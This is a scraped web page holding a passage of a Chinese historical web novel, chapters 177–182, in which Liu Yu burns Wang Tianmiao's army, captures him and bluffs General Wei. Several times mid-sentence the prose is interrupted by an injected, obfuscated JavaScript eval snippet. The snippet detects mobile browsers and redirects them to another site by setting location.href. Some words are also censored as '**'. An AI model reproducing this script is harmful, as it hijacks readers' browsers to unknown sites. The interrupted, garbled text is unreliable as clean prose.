“你们一个月几钱饷银，费得着跟他玩命？” 第一百七十七章 慈不掌兵 “都听着！” 汪大人朝着刘宪华身后的士兵大声怒吼： “凡主动放下兵刃者，我只当他是受刘宪华这个反贼蛊惑，此前种种，既往不咎！” “凡铁了心，跟着刘宪华**者。此事过后，其本人乃至家人，亲戚，一概不留！” 刘宪华一脸笑意地看着汪大人威逼利诱自己手下的兵。 那眼神，就仿佛是在看戏台子上的旦角耍宝一样，充满了讽刺与戏谑。 一直到汪大人不再开口了。 刘宪华才咧嘴笑道： “大人呐，别煞费苦心了。你说我是反贼，可我手下这帮兄弟，谁人不知你才是反贼啊？” “你私调兵马来临县，他日若朝廷大军压境，先压的也该是你啊，怎么会压到我们头上？” 刘宪华大笑着，扭头朝身边士兵乐呵道： “反贼汪天淼，意图占据临县拥兵自重，危害家国安定！” “我！刘宪华！” “上承皇帝天恩，下受百姓爱戴！” “今日就是拼了这条老命，也定要诛了此贼！” 刘宪华一开口，高低立判。 他身后一众士兵，更是齐刷刷抽出腰间长刀大吼： “诛反贼！诛反贼！诛反贼！” 正义的吼声，给汪天淼身边一众士兵，都吼没了心气。 刘宪华更是趁热打铁，直接把汪天淼对他士兵说的话，原封不动还给了汪天淼手下士兵：“你们都听着，帮汪天淼**是没有好结果的，朝廷是不会放过你们的！” “但我刘宪华可以给你们一条生路，现在拔出刀，杀了汪天淼这个反贼，我刘宪华保你们！” “毕竟…一个月就几钱银子，你们跟汪天淼玩什么命啊！” 汪天淼火冒三丈。 气得浑身颤抖。 “哼，牙尖嘴利！” 突然，汪天淼猛地对准刘宪华抬手：“射杀他！” 汪天淼身边一众士兵，纷纷抬起**，对准刘宪华等人齐放箭。 但就这点时间，已经够刘宪华反应了。 刚一听汪天淼开口，刘宪华带着身边一众士兵拔腿就往身后的民房躲。 不仅躲开了箭雨。 刘宪华还继续大声呼喊： “糊涂啊你们。” “你们这是跟着汪天淼**，朝廷是不会放过你们的！” “你们不为自己着想，难道不会为家中妻儿着想吗？” 此话一出，汪天淼身边，已经有几名士兵偷摸看向他，眼神变得不对劲了。 汪天淼心中一沉。 他私自调兵这件事，他手下士兵又怎么可能不知道。 此刻被刘宪华这样一挑唆，弄不好是要哗变的。 此时此刻，不说刘宪华有多气人。 就是为了稳定军心，汪天淼也一定要立刻杀了刘宪华。 几乎没有任何犹豫，汪天淼当即厉声怒喊： “给我杀！” “杀啊！” “冲啊！” 五百多名士兵，齐刷刷朝着刘宪华冲去。 谁都没有注意到，王家村深处各个地方，已经冒起了冲天的滚滚白烟。 刘宪华带着队伍，穿梭在白烟中，一边抹眼角被熏出来的泪水，一边疯狂咳嗽快步狂奔。 “都特娘的跟着老子跟紧了，火烧起来，只有一条逃生的路，谁掉队了，就是大罗金仙也救不了！” 一边跑，刘宪华还不忘回头，用**朝后面追过来的士兵射击，吸引他们注意力。 此时此刻，汪天淼从愤怒中恢复过来，已然是注意到了村里突然冒起的白烟。 意识到不对劲，汪大人连忙朝着已经跑远的部队大吼： “别追了，都回来，都特娘别追了！” 只可惜，他一人的声音，哪抵得过几百名士兵的冲杀声。 声音喊出来，瞬间就被响彻天际的冲杀声给掩盖了。 没有办法，汪大人只能朝着他身边最信任的几个近卫大吼： “还愣着干什么，去把人追回来啊！” 几名近卫无奈，只能立即奋起去追。 而这边，刘宪华也一点不好受。 越往王家村深处跑，烟雾就越浓，前面有些地方，甚至已经冒起了熊熊火光。 而身后还有追兵，不停拿**朝着刘宪华等人射 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792715|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 就这一会儿的功夫，刘宪华身后跑得慢的士兵，已经**有十余人。 不是被箭当场射死，就是因为浓烟放慢了脚步，被后面追兵追上乱刀砍成了肉糜。 更恐怖的是，烟雾缭绕下刘宪华被熏得连眼睛都只能眯成线，视野大幅度受阻，刘宪华只能凭借记忆寻找他自己留的唯一一条逃生通道。 可以说，走错一步，都是万劫不复。 此时此刻，被袁羌他们生拉硬拽到山上的柳羽，站在高处还要看得更真切一切。 刘宪华等人已经快跑出村尾了。 前面是大火，后面熊熊大火也已经连成片烧了起来。 汪天淼手下不少跑得慢的士兵，已经察觉到不对劲退了出去。 但更多的，却是已经被困在大火烟雾中找不到了路。 嘶吼声，惨叫声，接连响起。 甚至已经有人被倒塌的房屋砸到，陷入了火海，发出撕心裂肺的惨叫。 柳羽双眼紧闭，痛苦万分。 身边，陆游朝着柳羽抱拳： “柳哥，不能等了，歼灭汪大人部队在此一举，下令让兄弟们放火箭，把所有能逃生的通道都堵住吧。” 柳羽拳头紧攥：“再等等，刘宪华还没出…” 陆游大声道： “柳哥，不要再糊涂了！” “这是刘总旗，拿明争取的机会啊！” “你还没明白过来吗，你看看身后！” 柳羽回头看去，惊愕的发现，身后几十名手持**的士兵，他们**上的箭，居然全都是沾了松油的火箭。 这什么时候准备的？我怎么不知道？ 耳边，陆游的声音再度响起： “柳哥，你说埋焖堆的事交给刘总旗办，他要的，从来就是请君入瓮，大火烧了汪家军，至于他自己的死活，他就只给自己留了一线生机。” “刘总旗说，他一直都知道你觉得他没什么能力，这是你第一次交这么重要的事情给他办，他一定要办得漂漂亮亮的，不辜负你的器重。” “所以别犹豫了，不要辜负了刘总旗一片心意。” “下令吧柳哥，慈不掌兵啊！” 第一百七十八章 柳羽，柳掌门 柳羽脸色难看至极。 他又何尝不知道，此刻放火箭封了退路，能让汪天淼损失一大半人马。 可这样子搞，刘宪华跟他身边那五十名士兵，基本就等同于给汪天淼手下陪葬了。 柳羽不想这么做，更不愿这么做。 但陆游说的慈不掌兵，柳羽却很清楚。 如果现在不放弃刘宪华，那等汪天淼反过劲来，死的就是剩下的弟兄了。 身居高位，柳羽根本没得选择，必须做出取舍。 深吸一口气，柳羽缓缓抬手： “第一轮火箭封退路，第二轮箭雨射从火海中逃出来的人。” “放箭！” 随着柳羽一声令下，身后士兵纷纷掏出火折子点火放箭。 柳羽等人所在的位置距离王家村，有五六百米左右。 这个距离，哪怕是有高度差，箭矢射过去也造不成任何伤害。 但一群人本就没想靠火箭**，都是往天空放箭，瞄准村里草垛木头堆等易燃的地方。 咻咻咻！ 几十只火箭落下，王家村内本就已经熊熊燃起的大火，瞬间烧得更加旺盛。 火光冲天的当下，哪怕是柳羽站在高处，也再难用肉眼在下面火海中寻找到人影，所能看见的，只有一片仿若地狱般的火海。 尽管汪天淼及时反应，命人去把冲进村深处的士兵叫回来了一些。 可成功逃出火海的士兵，也不过区区百余人。 剩下四百来人，等反应过来想原路返回时，退路早已经被燃烧倒塌的房屋彻底堵住。 不少士兵看到自己同僚，浑身烈火发出凄厉的惨叫，绝望之余，直接挥刀自吻，以求减轻痛苦。 大火燃烧的噼啪声愈演愈烈，火海中来自士兵凄厉的惨叫，却在逐渐变少。 柳羽根本没时间为刘宪华而悲伤。 一轮火箭过后，立即抽出腰间汪天淼的宝剑朝着山下大吼： “杀！” “杀啊！” “冲啊！” 三百多人，在柳羽带领下齐刷刷朝着山下王家村村口冲去。 靠近汪天淼残余部队不足一百五十米时，柳羽骤然停下脚步： “放箭！” 咻咻咻咻！ 又一轮箭矢，直奔汪天淼残余部队而去。 汪天淼手下那些人，刚逃出火海还没缓过劲，瞬间便有四五十人被瞬间射死。 而一轮箭矢过后，再等其他人想反抗之时，柳羽早已经带着三百来人，将汪天淼残部团团围住。 看着汪天淼手下剩余的五六十名士兵，柳羽声音冰冷： “弃械投降者，既往不咎。” “负隅顽抗者，九族尽灭，杀无赦！” 汪天淼已然大势已去。 手下士兵彻底没了斗志，听闻此言，纷纷弃械投降，丢掉手中兵刃，抱头蹲在了地上。 自此，人群中仅剩汪天淼一人，还冷眼站立在原地： “柳羽！” “呵呵，我还真是没想到，居然是你笑到了最后。” “老夫征战沙场戎马半生，居然在小小一临县，栽在了你这个毛头小子的手上！” 柳羽眼神冰冷至极： “知足吧你，就为了把你逼到这一步，刘宪华不惜以命为引，你还有什么可不知足的。” “绑了！” 柳羽命令一下，周阳袁羌陆游三人亲自上前动手。 手拿早已经为汪天淼准备好的麻绳，上前给他五花大绑。 汪天淼没有丝毫挣扎，只是望着柳羽淡淡道： “绑我，你就不想想卫大人来了你怎么办？” “还有朝廷，你一个小小的总旗连给朝廷上折子的权利都没有，你怎么跟朝廷交代？” “哼，如果你够聪明，你就应该知道，你只有一条路可以走！” 柳羽冷笑。 汪天淼至今都以为，柳羽只是一个总旗。 他所说的路，柳羽不用想都知道。 汪天淼这是觉得自己一个总旗权力小，唯有跟他合作，才能把今天这事儿给圆了，所以他到如今这一步了，才能丝毫不慌。 柳羽望着汪大人冷笑开口： “你还没反过劲来呢？行，既如此，我便断了你的妄想。” “你一个私自调兵来临县的千夫长，对临县情形知之甚少，便以为手上有兵马，就能强龙压住地头蛇。” “那麻烦你用你那榆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792716|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木脑袋想想，刘宪华一个总旗，我一个总旗，先前为什么是他一个总旗拿命勾引你中计，而不是我这个总旗干这事呢？” 汪天淼神情一凝，明显已经是有点回味过来了。 但却是头一扭，嘴硬道： “因为你不够格！” “如果是你勾我，我绝不会下令深追，中了他刘宪华的奸计！” 柳羽嗤笑出声，直接朝汪天淼身边的陆游道： “你告诉他，我够不够格。” 陆游一只手掐住汪天淼后衣领，扳正他的脑袋，让他看清楚柳羽： “听好了，柳羽柳总旗，不仅仅是朝廷的总旗，更是我太平阁掌门人。” “整个临县，刘总旗刘宪华，武总督武汉冲，均以我大哥为尊。” “另外，就是叛军中的玉军师，都得敬我大哥三分！” “若没出什么差错的话，叛军玉军师，此刻已经带着手下大军，将官道拦得严严实实了。” “汪天淼汪大人，能救你的卫大人，他未必来得了，至于朝廷，我大哥也完全可以让武总督上书，写明你在临县干的烂事！” 陆游的话，汪天淼是越听越吃惊，越听脸色越难看。 “不可能，绝不可能！” “你柳羽一个**都没长齐的黄口小儿，你何德何能…何德何能能让两位总旗听命于你！” “你撒谎，撒谎！” 望着气急败坏的汪天淼，柳羽只有冷笑。 毕竟再真挚的言语，也叫不醒一个装睡的人。 不相信就不相信被。 柳羽现在极度担心临县失去控制，当即就准备下令返回临县。 不料，就当柳羽抬手准备下令时，身后山林中，却传来熟悉的大笑声： “哈哈哈哈，柳哥，我刘宪华完成任务回来了！” 柳羽神情剧震，愕然回头，只见一脸黢黑，衣衫褴褛的刘宪华，正带着剩余十来人，欢快地朝着自己跑来。 柳羽最初是不相信。 但在看到刘宪华越靠越近后，柳羽脸色却是骤然冰冷。 一等刘宪华靠过来，柳羽抬起就是一脚给人踹翻在了地上： “违抗军令，你特娘的还敢回来！” 第一百七十九章 五百铁骑 柳羽这一脚看似重，实际上压根就没用多大力道。 但也不知是怎么的，刘宪华倒地后，却是疼得哭爹喊娘疯狂打滚： “哎呦喂，天杀了啦，柳哥打功臣啊！” “哎呦喂，都看看啊，大伙都看看啊，他柳羽打功臣啊，快打死我了都！” 望着地上跟小孩撒泼似的，直打滚地刘宪华，柳羽气得面目狰狞。 也是现在年轻没胡子，要是年纪再大点，柳羽只怕胡子都气歪了： “你特娘的，老子还没用力呢！” “起来，给老子起来！” 然而，刘宪华却是搁地上屁股一歪，直接转过身去： “不起，心寒呐，办了大事就这么对我，没你这么当大哥的！” 周围陆游周阳他们，被刘宪华逗得是哄堂大笑。 一众士兵也是没崩住，纷纷捂嘴憋笑。 柳羽拳头攥紧，气得咬牙切齿： “你特么的！” “行行行，免你无罪，赶紧起来！” 然而，刘宪华还是搁地上躺着，就跟瘫痪了似的，岿然不动。 柳羽也是被气乐了，就没见过这么不要脸的。 只能是亲自弯腰去扶： “记大功，给你记大功行了吧。” 直到这，柳宪华才终于是乐呵呵地站了起来。 但起身后，刘宪华却是瞬间收敛了笑意： “柳哥，奖赏啥的我不要。” “本次火攻之计，幸存16人，阵亡34人，他们的名字每个我都记着。” 刘宪华话说到这，声音骤然停住。 柳羽清楚，刘宪华刚才耍宝，不过是想在报出阵亡人数后，缓解所有人沉重的心情。 而他现在话说到一半就不说了，是因为阵亡人数出来了，得为这些阵亡兄弟的家人，定一笔丰厚的抚恤金。 这抚恤金的多少，刘宪华不能张口要，也不能张口提。 因为少了，其他还活着的弟兄会不满，多了，刘宪华提的柳羽给钱，其他弟兄是感谢刘宪华还是感谢柳羽？ 因此，刘宪华只是聪明的点到为止，剩下的，全权交给柳羽。 柳羽感谢地望着刘宪华。 这王八蛋，还真是越看越顺眼了。 没有犹豫，柳羽当即道： “所有阵亡的弟兄，除了朝廷给他们家属下方的抚恤金外，我柳羽额外添十两金子给其家属。” “弟兄们，家国危难，匹夫有责。” “现在还没到结束的时候，反贼汪天淼已伏诛，但反贼为大人还在前往临县的路上。” “大家建功立业的时候到了，跟我回临县抵御卫大人，活着升官，**，你们的家人，就是我柳羽的家人！” 柳羽此话一出，瞬间就将兄弟阵亡的悲痛，化为了抵御反贼的力量。 一众兄弟们纷纷群情激愤，跟在柳羽身后快步朝临县方向赶去。 而队伍里，被五花大绑扛着走的汪天淼，此时已然面如死灰。 刘宪华的出现，在柳羽面前一副小弟模样的举动，已经彻底掐灭了他最后的幻想。 柳羽带着一群人加上几十名俘虏在泥路上小跑着，速度说不上快，也说不上慢。 紧赶慢赶，也用了近一个半时辰，才在山路上，看见了松阳客栈的雏形。 再靠近些，被石块与树木堵得严严实实的官道，出现在柳羽视野当中。 官道前后两端，站着玉军师近两千人部队，正与一只全副武装的朝廷军队展开对峙。 朝廷军队的领头人，是一名白须冉面，身披大红色战袍，胯下骑着一匹枣色战马的老将军。 不出所料，应该就是汪天淼朝思暮想的卫大人了。 两边看情况，应当是已经对峙了许久。 卫大人神情烦躁，已然不剩下多少耐心，冷眼看向正对面的玉军师： “你们这些贱民，当真要与朝廷作对到底？” “今日本将军有要事，不想与你们过多纠缠。” “立刻让道，否则休怪本将军无情，叫身后五百铁骑踏平尔等！” 玉军师此刻多少有点心慌。 本来她身后近两千人，大部分由流民组成的队伍，就不可能是卫大人一千士兵的对手。 她怎么也没想到，卫大人带来的这一千人当中，有五百人还是铁骑。 要知道，一个全身盔甲的士兵，打四五个流名不在话下。 而铁骑，十人就可成队，五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809015|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十人就可成军。 哪怕是五十名铁骑对着两千人的叛军队伍冲锋起来，玉军师短时间内也不可能拿他们有任何办法。 而五百名铁骑冲锋起来。 那画面太残忍，玉军师根本就不敢想象。 因为五百铁骑冲一支两千人的队伍，基本上只需冲一个来回，就能杀得两千人死伤无数，四分五裂，根本不可能抵挡得住分毫。 如果不是官道上一起被拦住了。 别说跟卫大人对峙。 玉军师连带着队伍，跟卫大人碰面的勇气都不会有。 这就是铁骑的威慑力。 哪怕此刻路已经被拦住，玉军师也不太敢对卫大人放什么狠话。 只是笑着，尽可能拖延时间： “大人莫急嘛，小民们观大人铁骑威风，只是想近距离观摩观摩而已。” “大人您年近九旬还如此威风凛凛，小女人真是心生敬仰呢。” 六七百米开外的山坡上，柳羽看清下面景象后，就抬手制作队伍继续前进了。 柳羽扭头看向汪天淼： “一支铁骑大军？” “难怪你跟那个卫大人，敢私自调兵跑临县来，原来这就是你们俩的底气之所在，” “我要是有这样一支军队，我也不怕朝廷找我麻烦。” 汪天淼冷哼：“既然知晓，还不放了我乖乖束手就擒？” “铁骑绝非寻常军队可能比，卫大人有这支五百人的铁骑大军在，踏平临县，不过是时间问题而已。” 柳羽脸色难看至极。 心里清楚，汪天淼说的是实话。 骑兵，乃是战争之王。 上一世柳羽穿越前，历史文学读了不少。 什么千里走单骑，长坂坡上七进七出，项羽28骑凿穿5000千汉军，三千重骑兵平定天下。 虽然有为了吸引眼球，夸张渲染的成分，但足以见得骑兵之恐怖。 铁骑这种东西一旦成军，就非普通人力所能敌。 只要用得好，那就是绝对意义上无敌的存在。 不过…五百铁骑加五百步兵就想踏平临县，口气未免也太大了吧？ 攻城之战，你战马能上天是怎么的？ 第一百八十章 两头骗 短暂犹豫之后，柳羽缓步走到汪天淼跟前。 示意扛着汪天淼的几个士兵，把人给放下来。 一等人落地，柳羽找人要来纸笔摆在地上，随即拔出腰间汪天淼的宝剑，横在汪天淼脖颈上：“我说，你写。” 汪天淼冷笑出声，一眼就看出了柳羽想干什么： “想让我写信帮你骗卫大人？” “别闹了，他见不到我人，你让我写什么他都不会信。” 柳羽咧嘴轻笑：“我只需要他相信我是你的人就行了。” “我这个副总旗是你提拔的，但你还没给我写任命书呢。” 汪天淼神情一凝。 柳羽却直接示意一旁的士兵给他松绑。 一面逼着他写，柳羽一面冷笑道： “话说这个卫大人，级别怕是比你高吧？” “你跟他的关系很铁？还是说，各有心思？” 刀架在脖子上，汪天淼只能是跪在地上给柳羽写任命书。 听到柳羽这话，汪天淼冷笑开口：“我说了你敢信吗？” 柳羽点头：“你不说怎么知道我不敢信？” “呵呵，当然是各有心思。”汪天淼淡淡道：“我在朝中有背景，卫大人在军中有威望。” “我二人合作来占领临县，实则是商量好了我稳住朝廷，事成后临县归我，而卫大人则是去占据更为富饶的沧县。” 柳羽神情一凝。 沧县临县都背靠群山，资源富饶，出事好跑。 就说嘛，这两畜生打了临县的主意，怎么可能不打沧县的主意。 原来是准备一人占据一座县。 了解到这一情况，等汪天淼把任命书写好以后，柳羽当即让士兵重新把汪天淼捆绑了起来。 随即目光朝着陆游周阳看去。 “留二十人给我，你们两带着其他人，绕路回临县。” “记住了，抵达临县后先不要急着靠近城墙，武汉冲忠不忠犹未可知。” “你们先在城外小树林驻扎等候，等我抵达。” 陆游周阳当即点头。 挑了二十个好手出来留在柳羽身边，其他人包括汪天淼，全部尽数带走。 等到陆游周阳绕路走远后，袁羌缓步走到柳羽身边： “柳哥，俺干什么。” “你跟紧我。” 柳羽说着，将背后寒铁**交给袁羌，带队快步朝山下叛军靠去。 柳羽这边还没接近，玉军师就已经率先发现了柳羽。 见到柳羽安全归来，玉军师不由得朝着不远处的王五咧嘴一笑： “哟，你家柳哥好像是把汪天淼处理了啊。” “那这个样子，武汉冲的谋划怕是要落空了。” 王五没说什么，只是离开叛军队伍，快步前去接应柳羽。 刚一靠近，王五就连忙道： “柳哥，你可有察觉到，兄弟中有内贼？” “我…” 柳羽平静望着王五，不等他把话说完就抬手阻止了： “这种时候，不要说影响和气的话。” “有什么事，等到时候了，有的是你开口的时间。” 王五眉头紧驺：“这，这是大事啊！” 柳羽却是完全不想听，让袁羌等人在原地等候后，朝着玉军师就走了过去。 “汪大人呢？” 玉军师笑盈盈问道。 柳羽摇头。 目光朝着正对面的卫大人看去，柳羽朝着卫大人抱拳道： “大人，卑职林县后卫营副总旗，柳羽。” 卫大人眼睛微眯，看向柳羽的目光颇为危险： “副总旗？跟一群反贼搅和到一起去了？” 听到这话，柳羽连忙将腰弯下去了一些：“大人有所不知，这些，可都是良民啊！” 此话一出，卫大人直接被柳羽气乐了： “良民？良民拦朝廷官兵的路？” “还是说你觉得老夫年纪大了眼睛瞎，看不清他们手上的兵刃？” 听到这话，柳羽将腰又弯低了一些： “大人，请听卑职一言！” 卫大人深吸一口气，极度不耐烦道：“你想说什么？” 柳羽取下腰间汪天淼的宝剑，双手举过头顶： “卫大人有所不知，在汪大人未来临县之前，卑职不过是一个无足轻重的小旗。” “而卑职能有今日之成就，实乃汪大人慧眼识珠，一手将卑职提拔至副总旗之位。” 汪天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不然，你怎会一过来，就跟这群反民混在一起？” 听到这话，柳羽赶忙从怀中，掏出了汪天淼给他写的任命书： “大人明鉴，这是不久前汪大人任命卑职当副总旗时，给卑职写的任命书，卑职真是汪大人的人啊。” 说着，柳羽却是话锋一转，踌躇了起来： “昨夜汪大人逃进叛军领地后，不知道跟叛军首领商量了什么。” “卑，卑职也不知道汪大人为何让叛军的人在此拦路。” 第一百八十一章 掌控局势 卫大人脸色难看至极： “临县内乱，汪天淼出事，所以他就跟叛军扯上关系了？” “真是越说越离谱，你直接说，他让你来干什么的！” 柳羽露出一副害怕的模样，朝着卫大人抱拳道： “汪大人的意思是，希望卫大人能先在松阳客栈驻扎，等他处理好临县武总旗叛乱一事后，明日午时，必定亲自前来迎接大人进城。” 卫大人脸色铁青。 没有再发问，而是将目光，看向他身边一个书生模样的中年男人。 “这小子满口胡话，你意下如何？” 中年男人朝着卫大人抱拳： “大人，当下有两种可能。” “一，这确实是汪大人的意思，他遭遇临县叛乱损失惨重，因此不希望我们前往临县摘桃子，想先靠自己把临县平了，再让我们靠近，因此而设阻。” “二，汪大人已经栽了，就栽在这个满口胡话的小子手上，要么已经生死，要么已经被其俘虏，否则这小子不可能手握汪大人的宝剑。” 听到分析，卫大人当即斜着眼睛问道： “那军师觉得，在当下这两种情况下，我们该当如何？” 中年男人轻笑出声： “无论是哪种情况，都已然说明了临县不简单。” “如果汪大人没栽，我们等他明日前来迎接就成，如果栽了，咱们最好是撤军，不能在这种小地方闹出大事。” “所以我的意思是，不妨静观其变。” 听到这话，卫大人嘴角顿时露出了笑意： “还是军师知我心意，无论如何，我这边不能出事就是。” 说着，汪大人当即将目光看向柳羽： “行吧，本大人知道了。” “告诉汪天淼，我在松阳客栈驻扎，明日午时，等着他前来迎接！” 柳羽咧嘴一笑：“谢大人体谅。” 眼见卫大人已经下马，开始让手下士兵原地扎营了。 柳羽当即找到玉军师，让她留下一小队人马在原地看着就行。 其他所有叛军，全跟自己回临县。 柳羽怪异的行劲，弄得玉军师整个人都是懵逼的。 就连玉军师身边的萧寒衣，都完全弄不懂柳羽要干什么。 走在回临县的路上，玉军师好不容易找到机会，带着萧寒衣凑到柳羽跟前： “你这是要闹哪样，汪天淼呢，他现在什么情况？” “你说汪大人啊？”柳羽轻笑道：“当然是被我俘了呀。” 玉军师眼见瞪大，没想到柳羽本事真大到把汪天淼给俘了。 但得到这个消息后，玉军师却更懵逼了：“那你骗那个卫大人，不怕他明日午时，大军踏平你啊。” 柳羽轻笑着摇头： “该打的丈总归是要打的，逃没有用，我现在不过是借着汪天淼的名头，先稳住卫大人而已。” 说着，柳羽顿了顿才笑道： “不这样做，我怎么有底气回临县，或是跟你们天军站在一起呢？” “武汉冲忠不忠我不知道，你天军有没有跟他达成什么搞我的协议我也不知道。” “我现在唯一知道的是，汪天淼在我手上，握着他，我就握着一切，因为只要我手上有汪天淼，武汉冲许诺给你们一切就都不作数，我随时可以拿汪天淼跟卫大人斡旋，甚至是合作，踏平他武汉冲拥有的所有。” “你们天军只有跟我柳羽合作，才是最正确的选择。” 对于自己的心思，柳羽没有一丝丝隐瞒，全部当着玉军师的面说了出来。 临县几百人兵马柳羽不怕，玉军师手下天军柳羽也不怕。 柳羽唯独怕临县的几百兵马，跟玉军师手下天军联合起来。 现在柳羽要的，就是玉军师坚定不移地站在自己这一边。 要的，就是让玉军师相信，自己才是对的那个人。 柳羽话音刚落，玉军师身旁的萧天元，就已然笑出了声： “柳掌门还真的是，好手腕啊。” “卫大人明明不受你掌控，却已经被你当枪使了。” “如此一来，我天军不站在你这边，就得担心你跟卫大人合作，而我天军站在你这边，你就可以用天军威慑武汉冲，然后整合临县兵马跟我天军对付卫大人。” “高明，实在是高明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809017|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 玉军师凝视王者柳羽许久。 笑着开口道： “还真别说，我觉得武汉冲那个人挺不忠的。” “你知道你手下那个李晟管武汉冲叫什么吗？恩师！” “而且此前武汉冲派人过来说，让我天军不可真跟卫大人开战，一旦发现不对劲立马就可以撤，我当时就问了，我天军撤了不拦住卫大人，王家村正跟汪天淼对峙的你怎么办？” “汪天淼一旦跟卫大人联合起来，你不就完蛋了吗？” 听到这话，柳羽是一点都不生气，反而是开怀大笑。 因为玉军师能这样对着自己，说武汉冲的坏话。 就已经表面，她愿意站在自己这边了。 对于此刻的柳羽而言，武汉冲忠不忠不重要。 只要局势还在自己的掌控之下，不忠便杀呗。 一行人花了一个多时辰抵达临县附近，在离林县城外一里多地的官道边上，柳羽跟陆游周华等人完成汇合。 到了这会儿，手下人都聚齐了，柳羽彻底不再忧虑害怕了。 直接大手一挥： “走，会会咱们忠心耿耿的武军师去！” 整个两千多人的队伍。 柳羽跟玉军师等人走在最前面，身后跟得最近的是陆游周阳李宪华，以及后卫营的士兵，最后面，才是天军大军。 一步步地缓慢靠近城墙。 柳羽本以为，进城时还需要自己吼一嗓子，甚至动动武力，城里的人才会开门。 但让柳羽没想到的是，自己这还没靠近临县城门，离城门口还有五六百米远的距离呢。 城门口以武汉冲王总旗为首的人马，早已经将城门大开，等候在外面迎接自己了。 等到柳羽靠近些，武汉冲领着李晟，是单枪匹马屁颠屁颠地冲过来迎接自己。 “军师武汉冲，恭迎柳掌门回城！” 武汉冲单人冲到柳羽面前，欢天喜地地抱拳相迎。 而李晟冲过来后，却是噗通一下跪在了柳羽面前： “柳哥，是我一直背着你，通报信息给恩师的。” “李晟，任凭责罚！” 第一百八十二章 非黑即白 李晟此话一出。 站在柳羽身后的刘宪华陆游等人，看向他的眼神瞬间就变了。 考虑到自己的地位，刘宪华没说什么。 王五却是毫无顾忌，冷着脸走出来，声音冰冷地开口质问道： “李晟，你能告诉我，你跟武汉冲搞这一出，到底是想干嘛吗？” “此前柳哥在王家村收拾汪天淼，需要玉军师的天军队伍，帮忙拦住周口而来的卫大人部队，你却传武汉冲命令给玉军师，让她拦不住随时撤。” “你难道不知道，一旦卫大人没人阻拦跟汪天淼汇合上，柳哥会陷入十死无生之境地吗？” 顿了顿，王五更加大声地质问道： “还有，柳哥待你不薄吧？” “都是柳家村出来的，柳哥拿你当亲兄弟，你却一直把柳哥的底细，透露给武汉冲？” “有你这么做人的吗！” 王五此话一出。 本来陆游周阳等人，都不明白到底发生什么事情了。 此刻听王五这么一说，顿时明白过来，为什么柳羽自昨晚开始，就一直是一副忧心忡忡的模样。 原来特么是身边人出了内贼。 原来在此之前，柳羽一直都在担心武汉冲这边出问题，怕自己腹背受敌。 陆游周阳等人瞬间就忍不住了。 袁羌更是嗖的一声，就将腰间长刀拔了出来： “都别拦着，俺今天非得劈了他！” 但还不等袁羌动手，柳羽抬手，一把就将袁羌手上的刀给夺了下来。 陆游周阳等人眼睛瞪大。 “柳哥，暂且不管武汉冲是不是自己人，李晟干得这些破事，说他是背叛不为过吧？” “你今天不杀他，你让其他兄弟怎么想，大家难道不会觉得既然犯错没惩罚，就可以随便犯错吗！” “是啊柳哥，你要放过了他，日后人心就散了！” 陆游周阳等人，都是一路忠心耿耿跟着柳羽过来的，既没想过有兄弟会背叛，也接受不了一丁点背叛兄弟的事情发生。 眼睛里揉不得一丁点沙子，此时此刻，都只想要李晟死。 而李晟跪在地上不说话，一丁点没有想要为自己辩解的意思，武汉冲老神在在站立在原地，也丝毫没有要替李晟说话的意思。 旁边更是有着一个看热闹的玉军师，饶有兴味望着这一幕，想看看柳羽怎么处理这事。 柳羽却是平静的目光望着地上的李晟，脸上的神情既没有悲凉，也没有遭到背叛应该表现出来的怒意。 甚至于，柳羽竟然还能笑得出来。 嘴角噙着淡淡的笑意，平静地望着李晟： “起来吧，都是自己人，哪有什么背叛不背叛的。” 说着，柳羽目光看向愤怒到极致的周阳等人，轻笑道： “瞎想什么呢，李晟哪儿有背叛兄弟。” 